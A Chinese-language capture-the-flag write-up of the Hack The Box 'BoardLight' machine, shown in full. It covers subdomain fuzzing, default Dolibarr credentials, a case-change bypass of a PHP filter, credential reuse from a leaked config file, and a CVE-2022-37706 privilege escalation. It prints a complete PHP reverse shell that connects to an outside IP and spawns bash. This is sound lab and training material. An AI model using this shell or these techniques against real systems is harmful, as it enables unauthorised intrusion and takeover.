Hack The Box-BoardLight

总体思路

子域名收集->默认密码->信息泄露->CVE-2022-37706

信息收集&端口利用

nmap -sSVC boardlight.htb

在这里插入图片描述

发现22和80端口开放,先看80端口网站信息

在这里插入图片描述

四处查看后,发现没有有效信息,对其进行目录扫描和子域名扫描

dirsearch -u boardlight.htb

在这里插入图片描述

子域名收集

扫描结果也并没有什么能够利用的地方,于是查看网页源代码

在这里插入图片描述

在红框处看到了一个Board.htb的域名,加入进hosts文件后再对其执行上述操作

在这里插入图片描述

使用模糊扫描扫描出了一个子域名crm

在这里插入图片描述

默认密码

进入界面后发现是Dolibarr组件,查找其默认用户密码

在这里插入图片描述

尝试看看能否登录

在这里插入图片描述

登录成功,在websites界面能够看到提供了添加网站的功能

先添加一个网站名称为shell

在这里插入图片描述

接下去还要在page中添加具体的界面

在这里插入图片描述

然后点击Edit HTML Source,先尝试在里边添加一段php代码

<?php echo system("whoami");?>

在这里插入图片描述

发现小写的php被禁止了,尝试大写绕过

在这里插入图片描述

表明了能够执行PHP代码,直接上一段PHP的反弹shell

<?PHP
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.27';
$port = 9000;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

在这里插入图片描述

信息泄露

拿到shell后,查找有无敏感信息之类

在/var/www/html/crm.board.htb/htdocs/conf中有一个conf.php的配置文件,查看之

在这里插入图片描述

其中有dolibarr用户的数据库凭证:dolibarrowner/serverfun2$2023!!

经过尝试后dolibarr和dolibarrowner均不能登录,可能是不存在该用户,查看home目录下的所有用户

在这里插入图片描述

尝试使用larissa用户登录

在这里插入图片描述

可以成功登录

使用sudo -l和find查看能够执行的命令,并且检查capabilities属性

在这里插入图片描述

CVE-2022-37706

发现都没有可以利用的点,上传linpeas扫描漏洞

在这里插入图片描述

能够发现靶机安装了enlightenment服务,并且版本为0.23.1,存在CVE-2022-37706,该漏洞是由于Enlightenment的enlightenment_sys二进制文件内的命令注入问题所导致的。通过调用mount命令并传递满足系统要求的路径,但同时因分号的使用而执行了特定的路径,从而实现权限提升,主要影响范围为Enlightenment 0.25.3或更低版本的Ubuntu 22.04.1 X64 Desktop及其他可能使用相同Enlightenment版本的Linux发行版,可以在GitHub上下载相关的EXP

执行完毕后,拿到root用户

在这里插入图片描述

  • 26
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值